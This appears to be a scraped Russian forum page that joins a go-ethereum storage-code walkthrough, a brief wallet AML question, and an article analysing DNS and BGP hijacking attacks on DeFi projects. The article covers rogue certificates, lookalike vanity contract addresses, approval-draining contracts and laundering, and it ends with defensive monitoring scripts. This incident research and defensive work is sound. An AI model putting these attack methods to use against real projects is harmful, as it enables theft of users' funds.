берем с вершины стека используя peek. Затем вызывается [функция ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/state/statedb.go#L308) GetState для StateDB, передавая адрес контракта и место хранения. GetState получает объект stateObject, связанный с этим адресом контракта. Если stateObject не равен нулю, он вызывает GetState для этого stateObject.

Code:Copy to clipboard

func (s *StateDB) GetState(addr common.Address, hash common.Hash) common.Hash {
    stateObject := s.getStateObject(addr)
    if stateObject != nil {
        return stateObject.GetState(s.db, hash)
    }
    return common.Hash{}
}

Функция [ GetState ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/state/state_object.go#L172) в stateObject выполняет проверку fakeStorage, а затем проверяет dirtyStorage.
Если dirtyStorage существует, вернётся значение по ключу в отображении dirtyStorage. (dirtyStorage представляет самое актуальное состояние контракта, поэтому мы пытаемся сначала вернуть его)

Code:Copy to clipboard

func (s *stateObject) GetState(db Database, key common.Hash) common.Hash {
    // If the fake storage is set, only lookup the state here(in the debugging mode)
    if s.fakeStorage != nil {
        return s.fakeStorage[key]
    }
    // If we have a dirty value for this state entry, return it
    value, dirty := s.dirtyStorage[key]
    if dirty {
        return value
    }
    // Otherwise return the entry's original value
    return s.GetCommittedState(db, key)
}

// GetCommittedState retrieves a value from the committed account storage trie.
func (s *stateObject) GetCommittedState(db Database, key common.Hash) common.Hash {
    // If the fake storage is set, only lookup the state here(in the debugging mode)
    if s.fakeStorage != nil {
        return s.fakeStorage[key]
    }
    // If we have a pending write or clean cached, return that
    if value, pending := s.pendingStorage[key]; pending {
        return value
    }
    if value, cached := s.originStorage[key]; cached {
        return value
    }
    // If no live objects are available, attempt to use snapshots
    var (
        enc []byte
        err error
    )

В противном случае вызовите [ функцию GetCommitedState, ](https://github.com/ethereum/go- ethereum/blob/d4d288e3f1cebb183fce9137829a76ddf7c6d12a/core/state/state_object.go#L187) чтобы найти значение в дереве хранилища. Дальше проверяется наличие fakeStorage. Если pendingStorage существует, вернётся значение расположенное в отображении pendingStorage.

Code:Copy to clipboard

func (s *stateObject) GetCommittedState(db Database, key common.Hash) common.Hash {
    // If the fake storage is set, only lookup the state here(in the debugging mode)
    if s.fakeStorage != nil {
        return s.fakeStorage[key]
    }
    // If we have a pending write or clean cached, return that
    if value, pending := s.pendingStorage[key]; pending {
        return value
    }
    if value, cached := s.originStorage[key]; cached {
        return value
    }
    // If no live objects are available, attempt to use snapshots
    var (
        enc []byte
        err error
    )

Если ничего из вышеперечисленного не вернулось, выполнение перейдёт в originStorage и вернёт значение оттуда. Вы могли заметить, что функция сначала пыталась вернуть dirtyStorage, затем pendingStorage, а затем originStorage. Это имеет смысл, так как во время выполнения dirtyStorage является наиболее актуальным сопоставлением хранилища, за которым следует pending, а затем originStorage.
Одна транзакция может манипулировать одним слотом хранилища несколько раз, поэтому мы должны убедиться, что у нас самое последнее значение.
Давайте представим, что SSTORE происходит перед SLOAD в том же слоте и в той же транзакции. В этой ситуации dirtyStorage будет обновлен в SSTORE и возвращен в SLOAD.

Где можно проверить AML своего кошелька?
ID: 67686ad7b4103b69df379724
Thread ID: 115690
Created: 2024-05-30T11:49:37+0000
Last Post: 2024-05-31T09:37:00+0000
Author: Maksymete
Replies: 2 Views: 543

сайты какие-то есть для этого?

Перехват трафика как вектор атаки на пользователей блокчейн-проектов
ID: 67686ad7b4103b69df37983a
Thread ID: 90835
Created: 2023-06-18T22:59:17+0000
Last Post: 2023-06-18T22:59:17+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 541

В статье поговорим о проблемах безопасности блокчейн-проектов, пришедших из мира Web 2.0. В этой области отсутствует сложившаяся практика, поэтому в публичной плоскости крайне мало сведений о механизмах защиты, используемых этими проектами. Статья является более подробным вариантом доклада с прошедшего киберфестиваля Positive Hack Days 12 на эту же тему.

Опыт, накопленный при проведении пентестов, и понимание сетевых технологий помогли мне провести исследование атак на блокчейн-проекты, проведенных с использованием техник [DNS hijacking и BGP hijacking](https://forklog.com/news/hakery-atakovali-dns-servery-defi- proektov-iz-chisla-klientov-namecheap). Вы узнаете, как перехват пользовательского трафика приводит к тому, что пользователи теряют криптовалюту. Кроме того, в этой статье:

Введение​

В 2022 году [не менее 20 различных блокчейн-проектов стали целью атак DNS hijacking и BGP hijacking](https://forklog.com/news/hakery-atakovali-dns- servery-defi-proektov-iz-chisla-klientov-namecheap). Эти атаки приводили к перенаправлению трафика пользователей проектов (Allbrigde, Celer Network, Ribbon Finance, Convex Finance и других) на подконтрольные злоумышленникам серверы. Согласно статистике компании SlowMist, специализирующейся на безопасности блокчейн-технологий, ущерб от подобных инцидентов в 2022 году составил не менее 3 млн долларов (при поиске по ключевому слову DNS). В некоторых случаях ущерб пользователям возместили сами DeFi-компании, которые таким образом хотели минимизировать репутационные издержки.

Несмотря на различные нюансы, у всех рассматриваемых атак DNS hijacking и BGP hijacking есть общие черты. Во всех случаях:

Обычно адреса контрактов, к которым обращаются пользователи, указываются в коде веб-приложения (например, вот так).

Рисунок 1. Адрес контракта в коде веб приложения
Рисунок 1. Адрес контракта в коде веб приложения
Поэтому для подмены адресов злоумышленники создавали копии сайтов и вносили на них изменения в адреса контрактов.

В ряде случаев пострадавшие пользователи, взаимодействовавшие с копиями атакованных проектов, должны были предоставить контрактам злоумышленников разрешение на распоряжение своими криптоактивами. Подробнее о том, для чего нужны разрешения, рассказывается [тут](https://support.metamask.io/hc/en- us/articles/6174898326683-What-is-a-token-approval-).

Успешности атак способствовали следующие факторы:

Злоумышленники добиваются схожести сайтов, используя генераторы адресов (на основе технологии vanity address). С их помощью они могут создать адрес контракта, первые и последние символы которого соответствуют нужному шаблону.

В статье будем рассматривать браузерную версию MetaMask, так как он является [одним из самых популярных браузерных криптокошельков](https://vc.ru/crypto/468079-top-20-luchshih- kriptokoshelkov-2022-goda-samye-nadezhnye-bezopasnye-i-udobnye). Здесь и далее будем говорить про плагин MetaMask для браузеров.

Из-за низкого качества UX и UI в MetaMask отображается лишь часть адреса. Рассмотрим на примере MetaMask версии, актуальной на время атак (версия 10.25.0). На картинке ниже (см. рис. 2) видно, что в поле отображается не весь адрес, а лишь несколько первых и последних символов. Учитывая возможности генерации злоумышленником нужного адреса при создании контракта, это окно будет выглядеть абсолютно так же, как и при использовании легитимного адреса.

Рисунок 2. При подтверждении транзакции MetaMask показывает адрес не полностью
Рисунок 2. При подтверждении транзакции MetaMask показывает адрес не полностью

При этом у пользователя есть возможность посмотреть в окне дополнительную информацию перед подтверждением своей транзакции. Нажав на кнопку (см. рис. 3) рядом с фрагментом адреса, пользователь может открыть сайт в блокчейн- обозревателе, где будет указан полный адрес и его принадлежность к проекту (см. рис. 4).
Рисунок 3. Кнопка рядом с фрагментом адреса
Рисунок 3. Кнопка рядом с фрагментом адреса

Рисунок 4. В блокчейн-обозревателе можно посмотреть полный адрес транзакции
Рисунок 4. В блокчейн-обозревателе можно посмотреть полный адрес транзакции

При этом нажатие на кнопку View full transaction details в окне MetaMask (см. рис. 2), наоборот, путает пользователя: адрес контракта опять отображается не полностью и невозможно определить, совпадают ли адреса легитимного и вредоносного контрактов.

Рисунок 5. При нажатии View full transaction details показывается неполный адрес контракта
Рисунок 5. При нажатии View full transaction details показывается неполный адрес контракта

Изменение в современной версии MetaMask. В версии 10.30.4 интерфейс изменился: адрес снова отображается не полностью.

Но, если по нему кликнуть (хотя приложение никак не подсказывает эту возможность), мы увидим полный адрес.

Поскольку атаки были направлены на пользователей проектов, компании — владельцы проектов узнавали о них от пострадавших. Благодаря перечисленным аспектам злоумышленникам удавалось обмануть пользователей, которые соглашались предоставить мошенническому контракту разрешение на использование криптовалюты.

В большинстве рассматриваемых случаев атака оказывалась успешной благодаря изменению DNS-записей (подробнее про DNS hijacking можно почитать здесь), которое приводило к перенаправлению трафика пользователей, обращавшихся к атакованному доменному имени (сайту), на IP-адрес, контролируемый злоумышленником. Исключение составляли специфические атаки, основанные на использовании техники BGP hijacking. В этом случае менялся не сам IP-адрес, а маршрут к нему. Контроль над трафиком, связанным с DNS-записями, позволял выпустить несанкционированный сертификат через центры сертификации. Одна из проверок, выполняемых таким центром, основана на контроле доменного имени пользователем, запросившим выпуск подтверждающего документа. Сертификат, выпущенный таким способом, признавался браузерами легитимным, поэтому при посещении сайта атакованного проекта пользователям не показывались предупреждения.

Подробный разбор протокола BGP _и техники BGP hijacking выходит за рамки данной статьи. Для самостоятельного изучения этих вопросов рекомендую следующие материалы:
· _«Сети для самых маленьких. Часть восьмая. BGP и IP SLA» _;
· _«BGP hijacking с помощью добавления AS жертвы в AS-SET атакующего» .

Click to expand...

В общем доступе очень мало информации о том, какие меры приняли пострадавшие проекты для защиты от таких атак и предотвращения их повторения, поэтому довольно тяжело оценить их эффективность. Некоторые меры, о которых мне удалось найти информацию, не выглядят эффективными.

Далее будут рассмотрены некоторые из пострадавших проектов и предложены рекомендации по усилению эффективности защиты.

Celer Network (cBridge)​

За пять дней до атаки (12.08.2022) злоумышленник создал контракты в разных блокчейн-сетях. Адреса этих контрактов впоследствии были опубликованы в телеграм-канале атакованной компании. Ниже приведены ссылки на контракты в обозревателях соответствующих блокчейнов:

Адреса контрактов, использованных злоумышленником, совсем не похожи на [адреса, используемые атакованным проектом](https://github.com/celer- network/contract_addresses).

17.08.2022 примерно в 19:25 (здесь и далее указано время UTC) произошел инцидент с использованием техники BGP hijacking. Время инцидента зафиксировано в сервисе bgplay (см. рис. 5). Этот сервис позволяет визуализировать информацию о распространении и удалении маршрутов через протокол BGP, а также изменение этой информации во времени. Длительность воздействия с применением BGP hijacking составила около четырех часов (примерно до 23:13, см. рис. 6).
Рисунок 5. Время начала изменений маршрута в ходе атаки BGP hijacking
Рисунок 5. Время начала изменений маршрута в ходе атаки BGP hijacking
Рисунок 6. Время завершения атаки BGP hijacking
Рисунок 6. Время завершения атаки BGP hijacking

Технические подробности использования BGP hijacking в данном инциденте можно найти [в отчете компании SlowMist](https://medium.com/coinmonks/truth-behind- the-celer-network-cbridge-cross-chain-bridge-incident-bgp- hijacking-52556227e940), которая специализируется на безопасности блокчейн- решений.

Изменение маршрута в результате инцидента позволило атакующему выпустить сертификат. С помощью сервиса crt.sh можно установить, что сертификат для домена cbridge-prod2.celer.network выпущен 17.08.2022 в 19:42:27 и отозван 18.08.2022 в 09:10:12 . Таким образом, атакующий, используя B GP hijacking, перенаправлял посетителей сайта на свой веб-сервер. При этом благодаря сертификату, выпущенному злоумышленником, браузеры не показывали пользователям предупреждения о проблемах безопасности (подобные предупреждения выдаются, когда есть основания не доверять сертификату сайта).

С 22:33:30 17.08.2022 до 01:17:22 18.08.2022 в сети Ethereum атакующий вывел имеющиеся средства в криптомиксер Tornado Cash, совершив в общей сложности 15 транзакций, и перестал пользоваться кошельком с адресом 0xb0f5fa0cd2726844526e3f70e76f54c6d91530dd, так как использование криптомиксера позволяет злоумышленнику создать новый криптокошелек, в котором можно получить средства от криптомиксера в зачет ранее предоставленных средств (подробнее о работе криптомиксера Tornado Cash).

В обозревателе Etherscan можно декомпилировать байт-код контракта злоумышленника, размещенный в блокчейне Ethereum, нажав на соответствующую кнопку. В этом случае декомпилированный код будет представлен в синтаксисе языка Vyper. Мне больше нравится синтаксис Solidity, поэтому я декомпилировал код в сервисе dedaub.com. Можно увидеть, что в контракте злоумышленника присутствуют те же функции с тем же количеством и типом параметров, что и в [контракте проекта cBridge](https://github.com/celer- network/sgn-v2-contracts/blob/b0cf02c15e25f66279420e3ff6a8b2fe07404bab/contracts/Bridge.sol), найденном через [документацию проекта](https://cbridge- docs.celer.network/developer/api-reference/contract-pool-based- transfer#implementation). В частности функции send() и sendNative(). В декомпилированном контракте не отображается значение переменной _addNativeLiquidity , так как оно задавалось в конструкторе при размещении контракта. Но, это значение можно увидеть, посмотрев [изменение состояния после транзакции в сервисе Tenderly](https://dashboard.tenderly.co/tx/mainnet/0xfe1f2d897bb842dab09ccf3edf269f21e1d724792befee632062b6bc2197b513/state- diff) либо в обозревателе Etherscan. Значение совпадает с адресом лица, создавшего контракт: 0xb0f5fa0cd2726844526e3f70e76f54c6d91530dd.

Таким образом, в строке 12 декомпилированного байт-кода контракта видно, что при вызове sendNative() происходит перевод нативной валюты блокчейна (в данном случае — ETH) на адрес злоумышленника. Строка 37 и строка 62 показывают, что через функцию send() переводились токены.

В декомпилированном контракте злоумышленника также содержится функция 0x9c307de6(). Она нужна для перевода токенов с адреса жертвы, когда жертва ошибочно выдает разрешение контракту атакующего через Approve. В обозревателе Etherscan видно, что злоумышленник трижды вызывал эту функцию (один, два, три). Пострадавшие пользователи перед этими транзакциями выполняли Approve на адрес контракта злоумышленника (один, два). Самый первый вызов 0x9c307de6() произошел еще до атаки на проект, через две минуты после размещения контракта. Видимо, злоумышленник хотел убедиться, что контракт работает как задумано.

19.08.2022 компания Celer Network сообщила, что приняла меры защиты, не раскрывая подробностей: «Добавлены активные проверки целостности фронтенда и DNS для предотвращения подобных атак».

Компания SlowMist оценила ущерб в 128,4 ETH (запись от 18.08.2022). В отчете SlowMist указано, что многие проекты больше не подвержены подобной атаке, однако уязвимые проекты все еще остаются. При этом не приводится никаких подробностей о том, что позволило сделать такой вывод и какие меры защиты следует предпринять.

Mad Meerkat Finance​

В случае с Mad Meerkat Finance атакующий смог получить доступ к параметрам DNS провайдера и заменить IP-адрес доменного имени сайта на подконтрольный ему адрес. По оценке пострадавшей компании, ущерб составил 2 000 000 долларов США. Согласно [отчету компании](https://medium.com/@MMFinance/dns-hi-jacking-post- mortem-compensation-3e2b5bb21183), инцидент произошел 04.05.2022 в 19:28. Вероятно, компания указала в качестве времени начала атаки время первой транзакции на адрес атакующего в блокчейне Cronos. Но, атака случилась несколько раньше. Ведь транзакция — это уже последствие атаки. В сервисе crt.sh можно выяснить, что сертификат был выпущен 04.05.2022 в 19:25 для домена mm.finance. Сертификат не был отозван и перестал быть доверенным лишь по истечении срока действия (02.08.2022).

Первое сообщение об атаке компания разместила в Твиттере 04.05.2022 в 10:51, то есть спустя 3,5 часа с момента атаки. [Отчет об инциденте](https://rekt.news/ru/madmeerkat- finance-rekt/) также был опубликован на rekt.news. Согласно этому отчету, атака продолжалась около трех часов, прежде чем атакованная компания выключила фронтенд. Я не нашел упоминания о выключении фронтенда — только твит о готовности его выключить. В любом случае по транзакциям видно, что 4 и 5 мая пользователи активно взаимодействовали с контрактом злоумышленника. А две последние транзакции были совершены 6 и 11 мая. При этом в отчете Mad Meerkat Finance от 05.05.2023 указано, что компания уже предприняла шаги по недопущению развития атаки злоумышленником. И транзакции 6 и 11 мая — наглядный пример неэффективности этих мер. Причина — в отсутствии отзыва сертификатов, выпущенных злоумышленником и в естественной задержке при обновлении DNS-записей (подробнее в разделе «Рекомендации по усилению эффективности защиты»).

Я декомпилировал байт-код контракта злоумышленника в сервисе dedaub.com. В контракте удалось найти те же функции с тем же количеством и типом параметров, что и в контракте проекта. В декомпилированном контракте не отображается значение переменной __addLiquidityETH , так как оно задавалось в конструкторе при размещении контракта. В обозревателе Cronoscan невозможно посмотреть изменение состояния при размещении. Это значение можно увидеть, посмотрев [изменение состояния после транзакции](https://dashboard.tenderly.co/tx/cronos/0x24d5ccc50a6d395f618b2b6d959ebf0b283fe9f3b8ad4f3b39a6dc1576c657b4/state- diff) в сервисе Tenderly: 0xb3065fe2125c413e973829108f23e872e1db9a6b .

Какие именно шаги предприняты компанией для усовершенствования защиты от подобных атак, осталось неясным.

Allbridge​

Инцидент произошел в результате [несанкционированного доступа к DNS- записям](https://forklog.com/news/hakery-atakovali-dns-servery-defi-proektov- iz-chisla-klientov-namecheap) провайдера Namecheap, услугами которого пользовалась компания Allbridge. Впоследствии CEO Namecheap Ричард Киркендалл признал проблему, сообщив, что компания выявила скомпрометированного агента по обслуживанию клиентов и удалила полномочия по изменению DNS-записей, ранее выданные этому сотруднику. Компания Allbridge не привела данные об ущербе, заявив только, что пострадало довольно мало пользователей. Несмотря на это, с технической точки зрения этот инцидент представляет интерес.

В сервисе сrt.sh можно выяснить, что 23.06.2022 в 08:09 злоумышленником был выпущен сертификат для домена app.allbridge.io. Cертификат не был отозван и перестал быть доверенным лишь по истечении срока действия (21.09.2022).

Пострадавшая компания сообщила в Твиттере, что об атаке им стало известно в 12:00, то есть примерно через четыре часа после выпуска сертификата злоумышленником (видимо, об этом шаге атакующего компания не догадывалась).

Злоумышленник создал контракты в разных блокчейнах (Ethereum, Binance Smart Chain, Polygon), адреса которых похожи на адрес контракта Allbridge. Некоторые адреса злоумышленника были приведены в посте в официальном телеграм-канале проекта.

Можно заметить, что адреса контрактов злоумышленником генерировались целенаправленно: чтобы первые и последние символы адреса совпадали с адресами контрактов проекта.

Адрес контракта проекта Allbridge в блокчейне Ethereum ​| Адрес контракта злоумышленника в блокчейне Ethereum
---|---
0xBBbD 1BbB4f9b936C3604906D7592A644071dE884 ​| 0xbbbd 2ed360dac9f6e005fc6a4398d7d6beabe884
​| ​
Адрес контракта проекта Allbridge в блокчейне Binance Smart Chain ​| Адрес контракта злоумышленника в блокчейне Binance Smart Chain
0xBBbD 1BbB4f9b936C3604906D7592A644071dE884 ​| 0xbbbd 2ec2dc8c067b7e0dc403ecae865466d7e884
​| ​
Адрес контракта проекта Allbridge в блокчейне Polygon ​| Адрес контракта злоумышленника в блокчейне Polygon
0xBBbD 1BbB4f9b936C3604906D7592A644071dE884 ​| 0xbbbd 2139ed16a4075df7c303d8d69e6413f3e884

Контракт 0xbbbd2ed360dac9f6e005fc6a4398d7d6beabe884 в блокчейне Ethereum был создан 20.06.2022. Учитывая сходство адреса с адресом атакованного проекта, можно предположить, что злоумышленник начал готовиться к атаке с этого дня.

Команда пострадавшего проекта сообщила, что сменила провайдера DNS и внедрила новые протоколы безопасности, не раскрывая подробностей.

Один из пользователей в официальном телеграм-канале проекта Allbridge указал на транзакцию в сети Binance Smart Chain в день инцидента (через 2,5 часа после выпуска сертификата злоумышленником) с выдачей разрешения через Approve адресу, очень похожему на адрес контракта проекта — 0xbbbde5d09e0ac4c32938efa3cbc0cb55d5c7e884. Но на данный момент в обозревателе нет транзакций по этому адресу. Возможно, при атаке злоумышленник ошибся и указал на фронтенде неверный адрес. Было бы интересно узнать, какой адрес действительно был указан злоумышленником на фронтенде, например воспользовавшись сервисом онлайн-архива снапшотов сайтов WayBackMachine. Но на этом сервисе нет снапшота за интересующую нас дату (23.06.2022).

Самое интересное, что Approve не был отозван, в чем можно убедиться, обратившись к функции allowance в обозревателе по адресу токена USDC. Таким образом, если у адреса 0xbbbde5d09e0ac4c32938efa3cbc0cb55d5c7e884 в будущем появится владелец, теоретически он сможет вывести все USDC-токены с адреса 0x32ac4fd012f0d455e5bb9394d0355e571d86f022 (см. рис. 7). Но, для этого ему нужно будет как-то узнать, на каком токене выдан Approve: так как токены стандартов ERC20 и BEP20 никак не оповещают получателя о выданном ему через Approve полномочии.
Рисунок 7. Разрешение на использование токена USDC, выданное адресу, у которого нет владельца
Рисунок 7. Разрешение на использование токена USDC, выданное адресу, у которого нет владельца

Похожая ситуация возникла у пользователя 0x624301090700ea1e3c5b5224f89adfae405412c1 : он выдал Approve контракту злоумышленника 23.06.2022, и почти через сутки злоумышленник воспользовался этим, забрав все доступные на тот момент токены ABR. При этом жертва до сих пор не отозвала Approve. Это означает, что этот пользователь может снова стать целью атаки, если на его счету будут токены ABR. В этом можно убедиться, обратившись к функции allowance в обозревателе по адресу токена ABR (см. рис. 8).
Рисунок 8. Выданное разрешение на использование токена ABR не отозвано жертвой
Рисунок 8. Выданное разрешение на использование токена ABR не отозвано жертвой

Мне не удалось определить, на какой IP-адрес злоумышленник поменял указание доменного имени (app.allbridge.io) и через сколько времени была устранена подмена, поскольку сервисы поиска по истории изменений IP-адреса DNS History, SecurityTrails, RiskIQ, VirusTotal, Censys не показали никаких изменений в соответствующем промежутке (второй половине июня 2022 года). Возможно, у этих сервисов такой же механизм наполнения истории, как у SafeDNS, и запись для доменных имен появляется не за каждый день: « The accuracy of the SafeDNS threat intelligence system is achieved through the company’s own technology for automatic categorization of internet resources and one for detection of botnets and malicious sites. To add data to Octopus we also use DNS requests collected via the SafeDNS cloud service, over 1B requests processed daily. By now the company has 180M domains in web crawler index and 1.2B records of passive DNS data ».

Ribbon Finance​

Этот инцидент произошел вследствие [несанкционированного доступа к DNS-записям провайдера Namecheap](https://forklog.com/news/hakery-atakovali-dns-servery- defi-proektov-iz-chisla-klientov-namecheap), услугами которого пользовалась компания Ribbon Finance. Компания сообщила, что количество пострадавших пользователей невелико. Один из них потерял 16,5 BTC.

Через сервис crt.sh можно выяснить, что 23.06.2022 в 06:28 злоумышленником был выпущен сертификат для домена app.ribbon.finance.

Сертификат не был отозван и перестал быть доверенным лишь по истечении срока действия (21.09.2022). Злоумышленник создал контракт, адрес которого похож на адрес контракта проекта. Адрес контракта атакующего найден через твит компании SlowMist, указавшей транзакцию атакующего. Злоумышленник вывел средства после того, как пострадавший выдал Approve его контракту.

Адрес контракта проекта Ribbon Finance в блокчейне Ethereum ​| Адрес контракта злоумышленника в блокчейне Ethereum
---|---
0x65a8 33afDc250D9d38f8CD9bC2B1E3132dB13B2F ​| 0x65a8 ec2c367a2d60efc1944c6eab614d73453b2f

Какие методы предприняты компанией в целях своевременного обнаружения и защиты от подобных атак в будущем выяснить не удалось.

Convex Finance​

Этот инцидент произошел вследствие [несанкционированного доступа к DNS-записям провайдера Namecheap](https://forklog.com/news/hakery-atakovali-dns-servery- defi-proektov-iz-chisla-klientov-namecheap), услугами которого пользовалась Convex Finance. Согласно [отчету пострадавшей компании](https://convexfinance.medium.com/post-mortem-of-events- june-23-3d6db955dc7d), потери от атаки составили [15,968 токена cvxCRV и 433 токена CRV](https://convexfinance.medium.com/post-mortem-of-events- june-23-3d6db955dc7d). Компания сообщила, что [атаке DNS](https://convexfinance.medium.com/post-mortem-of-events- june-23-3d6db955dc7d) [hijacking подвергся домен convexfinance.com](https://convexfinance.medium.com/post-mortem-of-events- june-23-3d6db955dc7d). На самом деле не только он. Через сервис crt.sh можно выяснить, что 23.06.2022 злоумышленник выпустил сертификаты для двух доменов: convexfinance.com в 00:58 и www.convexfinance.com в 01:15.

Сертификаты не были отозваны и перестали быть доверенными лишь по истечении срока действия (20 и 21 сентября 2022), несмотря на то, что один из пользователей указал на отсутствие отзыва сертификата в комментариях к твиту компании Convex Finance об инциденте.

В отчете Convex Finance указано, что компания узнала о контракте злоумышленника, адрес которого похож на адрес контракта проекта, из твита пользователя 23.06.2023 в 23:00 — спустя 10 часов с момента выпуска сертификата злоумышленником.

Адрес контракта проекта Convex Finance в блокчейне Ethereum ​| Адрес контракта злоумышленника в блокчейне Ethereum
---|---
0xf403 a2c10b0b9fef8f0d4f931df5d86ad187ae31 ​| 0xF403 C135812408BFbE8713b5A23a04b3D48AAE31

Контракт был создан злоумышленником за три дня до атаки (20.06.2022). Учитывая сходство адреса с адресом атакованного проекта, можно предположить, что злоумышленник готовился к атаке начиная с этого дня.
Компания сообщила, что начала «активно отслеживать изменение DNS» (вероятно, для того, чтобы вовремя обнаруживать несанкционированные изменения в будущем).

Общее в атаках Allbridge, Ribbon Finance и Convex Finance​

Помимо регистратора Namecheap, у этих атак есть и другие общие особенности. В процессе их изучения я решил поискать в обозревателе Etherscan контракты с одинаковыми байт-кодами. За основу взял один из уже известных контрактов (0xbbbd2ed360dac9f6e005fc6a4398d7d6beabe884), использованный злоумышленником при атаке на Allbridge. Удалось найти[ еще 15 таких контрактов](https://etherscan.io/find-similar- contracts?a=0xbbbd2ed360dac9f6e005fc6a4398d7d6beabe884&lvl=5). Все они созданы в промежутке с 20.06.2022 по 22.06.2022.

Адрес контракта в блокчейне Ethereum ​| Примечание
---|---
0x8014 ae6574cace1f2435a86d4ea0472f466786ae
0x8014 fb4882b1f99a3e60aece1d39400560d986ae
0xcf50 193c27df08423bfe813676541b2268789332 ​| Похож на адрес контракта [CRV Depositor](https://docs.convexfinance.com/convexfinance/faq/contract- addresses) из проекта Convex: 0x8014 595F2AB54cD7c604B00E9fb932176fDc86Ae
Похож на адрес контракта CVX Rewards из проекта Convex: 0xCF50 b810E57Ac33B91dCF525C6ddd9881B139332
0xf403 a2c10b0b9fef8f0d4f931df5d86ad187ae31 ​| Ранее рассматривался при описании атаки на проект Convex. Похож на адрес контракта [Booster](https://docs.convexfinance.com/convexfinance/faq/contract- addresses): 0xF403 C135812408BFbE8713b5A23a04b3D48AAE31
0x65a8 135596ae13c0dd5c17ba1059c61bc42d3b2f
0x65a8 e56ee6b549456fd8927db3fa526b8d143b2f ​| Похож на адрес контракта из проекта Ribbon Finance: 0x65a8 33afDc250D9d38f8CD9bC2B1E3132dB13B2F
0xbbbd 2ed360dac9f6e005fc6a4398d7d6beabe884 (атака на Allbridge)​| Ранее рассматривался при описании атаки на проект Allbridge​
0xbbbd 89e4cd6c0ac07f164b84546b6439d415e884 ​| Похож на [адрес контракта из проекта ](https://docs.allbridge.io/allbridge-overview/bridge- contracts)Allbridge**:**
0xBBbD1BbB4f9b936C3604906D7592A644071dE884​
0x7d27 40418e8dc4f8de88ead063f737b93d58c7a9
0x7d27 e89cf5981cf6827a6195928169ebd885c7a9
0xccf4a3a9adf9b2cf594e02e3ef4929dfaa1edd6a
0x917598efb39ccd3271f0f8abf717d1d2bc3399b6
0x685bd1d8747c91151f0b98ea8e5c6275994293af
0x5d3ada4aa5bf6125a091b27ed8cbc94518633643
0x4da2ca63312464f675cb3d04a7a79e5c4f2270f5 0x7b85d24d2d0de912acadeaa019277ee0e7b6209c| Не встречались при анализе инцидентов​

В списке присутствуют контракты, фрагменты адресов которых (начало и конец) похожи на контракт, задействованный в атаке на Ribbon Finance. При этом тело контракта существенно отличается от тела контракта, использованного в той же самой атаке. Помимо этого, время операций с этими контрактами предшествует времени выпуска сертификатов. Возможно, злоумышленник таким образом репетировал будущую атаку.

Часть контрактов, например 0x8014 ae6574cace1f2435a86d4ea0472f466786ae и 0x8014 fb4882b1f99a3e60aece1d39400560d986ae, имеют характерный общий признак: первые и последние символы одинаковы. Они не встречались ранее в этой статье, так как, по-видимому, применялись в аналогичных атаках на другие криптопроекты, которые также пользовались услугами регистратора Namecheap. Эти атаки не рассматриваются в статье.

Я декомпилировал код контракта злоумышленника с помощью онлайн-утилиты Dedaub. Анализ декомпилированного кода показывает, что средства с вредоносного контракта переводились на адрес 0xcdc0f019f0ec0a903ca689e2bced3996efc53939 через функцию deposit() (см. рис. 9).
Рисунок 9. Функция deposit() декомпилированного кода контракта злоумышленника
Рисунок 9. Функция deposit() декомпилированного кода контракта злоумышленника

Причем переводились те активы, которые стали доступны из-за невнимательности пользователей, разрешивших контракту злоумышленника распоряжаться своими средствами в MetaMask. Это невозможно определить в обозревателях транзакций, таких как Ethereum Blockchain Explorer, если смотреть по адресу злонамеренного контракта. В обозревателях можно увидеть лишь вывод средств с контракта, который злоумышленнику удалось произвести только благодаря разрешению на использование средств.
Рисунок 10. В обозревателях транзакций по адресу злонамеренного контракта не отображаются транзакции с разрешениями от жертв
Рисунок 10. В обозревателях транзакций по адресу злонамеренного контракта не отображаются транзакции с разрешениями от жертв

Атакующий вывел бо́льшую часть средств (201 ETH) с кошелька 0xcdc0f019f0ec0a903ca689e2bced3996efc53939 в блокчейне Ethereum 24.06.2022 в Tornado Cash тремя разными транзакциями. Последней транзакцией от 27.06.2022 совершен перевод 17,39 ETH через мост Multichain на тот же адрес кошелька, но уже в блокчейне Binance Smart Chain. Затем средства с кошелька в Binance Smart Chain были снова переведены в Tornado Cash, после чего злоумышленник перестал пользоваться кошельками.

В рамках атаки на Allbridge 23.06.2022 в блокчейне Polygon был создан контракт (0xbbbd 2139ed16a4075df7c303d8d69e6413f3e884), который не совпадает побайтово с вышеприведенными, хотя при декомпиляции он отличается всего лишь наличием одной неиспользуемой переменной (см. рис. 11).
Рисунок 11. Небольшое изменение приводит к невозможности поиска похожих контрактов в обозревателях транзакций
Рисунок 11. Небольшое изменение приводит к невозможности поиска похожих контрактов в обозревателях транзакций
Тем не менее из-за этого незначительного изменения данный контракт не отображается в списке ранее найденных 15-и.

Недостатки общедоступных методов защиты​

Мне удалось найти всего 1 вариант решения проблемы. CEO deBridge Finance Алексей Смирнов предложил разработчикам два bash-скрипта для мониторинга изменений кода на фронтенде и записей DNS. Учитывая трудности в доступом к твиттеру в РФ, публикую код скриптов:

Code:Copy to clipboard

#!/bin/bash cd /tmp wget -r -k -l 7 -p -E -nc -nv https://$1/ 1>&2 2>/dev/null || true find $1 -type f | grep -v robots.txt | xargs md5sum | md5sum | cut -d\ -f1
#!/bin/bash date >> /tmp/dns_$1.log host $1 | grep address | awk '{print $NF}' | sort | uniq | xargs echo | tee -a /tmp/dns_$1.log > /tmp/dns_new_$1 if [ $? -eq 0 ] then cp /tmp/dns_new_$1 /tmp/dns_$1 else echo 'Resolve ERROR' >> /tmp/dns_$1.log fi cat /tmp/dns_$1

Эта связка может не сработать при атаке BGP hijacking: при ней DNS-записи не меняются, а скрипт мониторинга фронтенда не учитывает приоритет IPv6 над IPv4 по умолчанию во многих операционных системах. Если фронтенд расположен на целевом домене, имеющем адреса IPv6 и IPv4, и сервер, с которого будет запускаться скрипт, также имеет адреса IPv6 и IPv4, проверка всегда будет происходить только по адресу IPv6 (если этот адрес доступен). При этом в ходе атаки BGP hijacking маршрут мог быть перенастроен только для адресов IPv4.
Рисунок 12. Из-за приоритета IPv6 над IPv4 утилита Wget обращается к сайту только по IPv6
Рисунок 12. Из-за приоритета IPv6 над IPv4 утилита Wget обращается к сайту только по IPv6

